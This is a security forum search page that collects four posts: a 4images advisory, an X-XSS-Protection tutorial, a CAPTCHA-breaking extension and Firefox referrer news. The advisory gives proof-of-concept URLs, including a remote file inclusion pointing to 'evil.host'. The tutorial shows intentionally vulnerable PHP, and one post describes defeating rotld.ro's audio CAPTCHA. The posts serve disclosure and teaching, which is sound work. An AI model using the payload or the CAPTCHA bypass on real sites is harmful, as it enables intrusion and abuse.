Jump to content

Search the Community

Showing results for tags 'header'.

The search index is currently processing. Current results may not be complete.
  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

Found 4 results

  1. | # Title : 4images 1.7.11 Multi Vulnerability | # Author : indoushka | # email : indoushka4ever@gmail.com | # Dork : Powered by 4images 1.7.11 | # Tested on: windows 8.1 Français V.(Pro) | # Download : http://www.4homepages.de/ ======================================= Host Header Attack : Vulnerability description : An attacker can manipulate the Host header as seen by the web application and cause the application to behave in unexpected ways. Developers often resort to the exceedingly untrustworthy HTTP Host header (_SERVER["HTTP_HOST"] in PHP). Even otherwise-secure applications trust this value enough to write it to the page without HTML-encoding it with code equivalent to: <link href="http://_SERVER['HOST']" This vulnerability affects /4images/index.php. Host header evilhostKdK2IXPv.com was reflected inside a LINK tag (href attribute). Poc : http://127.0.0.1/4images/top.php/lightbox.php R/L File inclusion : C:\web\www\4images\global.php LIne 400 : include_once(ROOT_PATH.'includes/db_'.strtolower($db_servertype).'.php'); Function : include_once Variables : $db_servertype Poc : 127.0.0.1/4images/global.php?db_servertype=http://evil.host Greetz : jericho http://attrition.org & http://www.osvdb.org/ * packetstormsecurity.com * http://is-sec.org/cc/ Hussin-X * Stake (www.v4-team.com) * D4NB4R * ViRuS_Ra3cH * yasMouh * https://www.corelan.be * exploit4arab.net --------------------------------------------------------------------------------------------------------------- Source
  2. In the previous article, we have seen how we can defend against click jacking attacks using the X-Frame-Options header. In this article, we will discuss another header: X-XSS-Protection. Similar to the previous article, we will first see the vulnerable code and then attempt to defend against the attack using this header. Setup is the same as the previous article. Once the user logs in, there will be a little dashboard where the user can search for some values. Below is the code used to implement the functionality. Vulnerable code: <?php session_start(); session_regenerate_id(); if(!isset($_SESSION['admin_loggedin'])) { header('Location: index.php'); } if(isset($_GET['search'])) { if(!empty($_GET['search'])) { $text = $_GET['search']; } else { $text = "No text Entered"; } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Admin Home</title> <link rel="stylesheet" href="styles.css"> </head> <body> <div id="home"><center> </br><legend><text id=text><text id="text2">Welcome to Dashboard...</text></br></br> You are logged in as: <?php echo $_SESSION['admin_loggedin']; ?> <a href="logout.php">[logout]</a></text></legend></br> <form action="" method="GET"> <div id="search"> <text id="text">Search Values</text><input type="text" name="search" id="textbox"></br></br> <input type="submit" value="Search" name="Search" id="but"/> <div id="error"><text id="text2">You Entered:</text><?php echo $text; ?></div> </div> </form></center> </div> </body> </html> If you clearly notice in the above code, the application is not sanitizing the user input before it echoes back and thus leaves it vulnerable. Currently, there is no additional protection mechanism implemented to prevent this. We can even have a quick look at HTTP headers. HTTP HEADERS HTTP/1.1 200 OK Date: Sun, 12 Apr 2015 14:53:37 GMT Server: Apache/2.2.29 (Unix) mod_fastcgi/2.4.6 mod_wsgi/3.4 Python/2.7.8 PHP/5.6.2 mod_ssl/2.2.29 OpenSSL/0.9.8y DAV/2 mod_perl/2.0.8 Perl/v5.20.0 X-Powered-By: PHP/5.6.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: PHPSESSID=f94dc2ac2aa5763c636f9e75365102b5; path=/ Content-Length: 820 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 So, let us execute some simple JavaScript in the search box and see if it gets executed. Well, it seems the script is not getting executed. Let us inspect the error console and see what’s happening. It is clear from the console that XSS Auditor in Google Chrome is preventing execution of the script. Additionally, it says that it is enabled because there is no X-XSS-Protection or Content-Security-Policy header sent by the server. We can customize this filtering by enabling X-XSS-Protection or Content-Security-Policy headers. Let us first try to disable the protection using the following line. header("X-XSS-Protection: 0"); After adding the above line of code to our page, the page should look as shown below. <?php session_start(); session_regenerate_id(); header("X-XSS-Protection: 0"); if(!isset($_SESSION['admin_loggedin'])) { header('Location: index.php'); } if(isset($_GET['search'])) { if(!empty($_GET['search'])) { $text = $_GET['search']; } else { $text = "No text Entered"; } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Admin Home</title> <link rel="stylesheet" href="styles.css"> </head> <body> <div id="home"><center> </br><legend><text id=text><text id="text2">Welcome to Dashboard...</text></br></br> You are logged in as: <?php echo $_SESSION['admin_loggedin']; ?> <a href="logout.php">[logout]</a></text></legend></br> <form action="" method="GET"> <div id="search"> <text id="text">Search Values</text><input type="text" name="search" id="textbox"></br></br> <input type="submit" value="Search" name="Search" id="but"/> <div id="error"><text id="text2">You Entered:</text><?php echo $text; ?></div> </div> </form></center> </div> </body> </html> Well! If we now load the page, it pops up an alert box as shown below. Let us also check the same page in Firefox, which pops up an alert box as expected. Now, let us change the value of this header to 1 and try again in the browser. header("X-XSS-Protection: 1"); If you observe the HTTP headers, you can notice that the header has been enabled. HTTP HEADERS: HTTP/1.1 200 OK Date: Sun, 12 Apr 2015 14:54:42 GMT Server: Apache/2.2.29 (Unix) mod_fastcgi/2.4.6 mod_wsgi/3.4 Python/2.7.8 PHP/5.6.2 mod_ssl/2.2.29 OpenSSL/0.9.8y DAV/2 mod_perl/2.0.8 Perl/v5.20.0 X-Powered-By: PHP/5.6.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: PHPSESSID=8dfb86b13ec9750d1f1afdfc004f5042; path=/ X-XSS-Protection: 1 Content-Length: 820 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Well, if we now execute the same vulnerable URL, the script won’t be executed. Let us look at the Chrome’s console and see what happened. As we can see in the above console, the script is not executed because of the header we sent. header("X-XSS-Protection: 1"); The above header, when sent with no additional arguments, just stops the script from its execution. We can also add an additional value to this header as shown below. header("X-XSS-Protection: 1; mode=block"); When this header is sent, the browser doesn’t execute the script and shows a blank document to the user as shown below. Below are the headers sent: HTTP/1.1 200 OK Date: Mon, 13 Apr 2015 09:59:22 GMT Server: Apache/2.2.29 (Unix) mod_fastcgi/2.4.6 mod_wsgi/3.4 Python/2.7.8 PHP/5.6.2 mod_ssl/2.2.29 OpenSSL/0.9.8y DAV/2 mod_perl/2.0.8 Perl/v5.20.0 X-Powered-By: PHP/5.6.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: PHPSESSID=729f2f716310ccfe353c81ced1602cf0; path=/ X-XSS-Protection: 1; mode=block Content-Length: 846 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Though it works fine with popular browsers like Internet Explorer, Chrome and Safari, Firefox doesn’t support this header and still we can see the alert box popping up as shown below. So, this header should be used to have defense in depth in place, but it can’t protect the site completely and thus developers have to make sure they have additional mitigation controls implemented. Source
  3. A Firefox (>34) extension that breaks rotld.ro's audio CAPTCHA, with 100% accuracy. Flawed implementation RoTLD's audio CAPTCHAs are composed of 6 characters, in the a-f0-9 range. Each character is concatenated to the audio file, along with a header ("your captcha code is") and random amount of white noise between the characters. The major flaw is that the header, noise and characters are binary concatenated to the file (ie cat header.mp3 a.mp3 1.mp3 6.mp3 noise.mp3 d.mp3 b.mp3 f.mp3 > output.mp3), without resynthesizing the output. One can do a simple binary search for signatures and find the CAPTCHA code. Installation You can install by dragging the latest rotld_captcha.xpi file to your add-on page. Sursa: https://github.com/vladc/RoTLD-Captcha
  4. The HTTP Referer header is a marketer’s dream, and a privacy nightmare all in one. The header contains tracking information that organizations can use for statistical traffic analysis and naturally to promote services to the right audience. It started out by including just the last page the user visited, supposedly a page referring to your website. Over time, more personal information has crept into the header making security engineers and privacy watchers uneasy. Mozilla has apparently decided to do something about it, and today announced a new feature called the meta referrer that changes the Referer header, putting more controls on what’s sent out. The feature is present in the Firefox 36 Beta. “Now your HTML documents can include a meta tag that specifies one of many referrer policies for the document to change what Firefox sends in the Referer header, and when it is sent,” wrote Sid Stamm, Mozilla principal security and privacy engineer. Stamm said users can choose from multiple policies that specify what data is sent, or to suppress referrers entirely. “This HTTP header has become quite problematic and not very useful, so we’re working to make it better,” Stamm said. “HTTP Referer provides a wealth of information about where you came from to the sites you visit, but this context isn’t always necessary (or desired). In addition, it is an unreliable tool for authenticating the origin of an HTTP request unless it’s always present, which it’s not due to privacy concerns (HTTPS sessions should not leak URLs to HTTP).” Stamm said many organizations were hacking the URL structure with direct loads, redirects and frames in order to change the referrer to something with less personal information. “What’s needed is a better way for referring sites to reduce the amount of data transmitted and thus providing a more uniform referrer that’s less privacy invasive,” Stamm said. It’s unclear yet when meta referrer will end up in a stable release of the Firefox browser. Mozilla this week released the latest version of Firefox, patching nine security vulnerabilities along the way. One of the vulnerabilities patched in Firefox 35 was a Gecko Media Plugin sandbox escape, when if combined with another GMP vulnerability, could enable an attacker to bypass the GMP sandbox running on Windows computers. The sandbox is apparently only used to host H.264 video playback and the bug would spared OS X and Linux. Descriptions of the nine vulnerabilities, in particular three rated critical by Mozilla, were posted online. Source
×
×
  • Create New...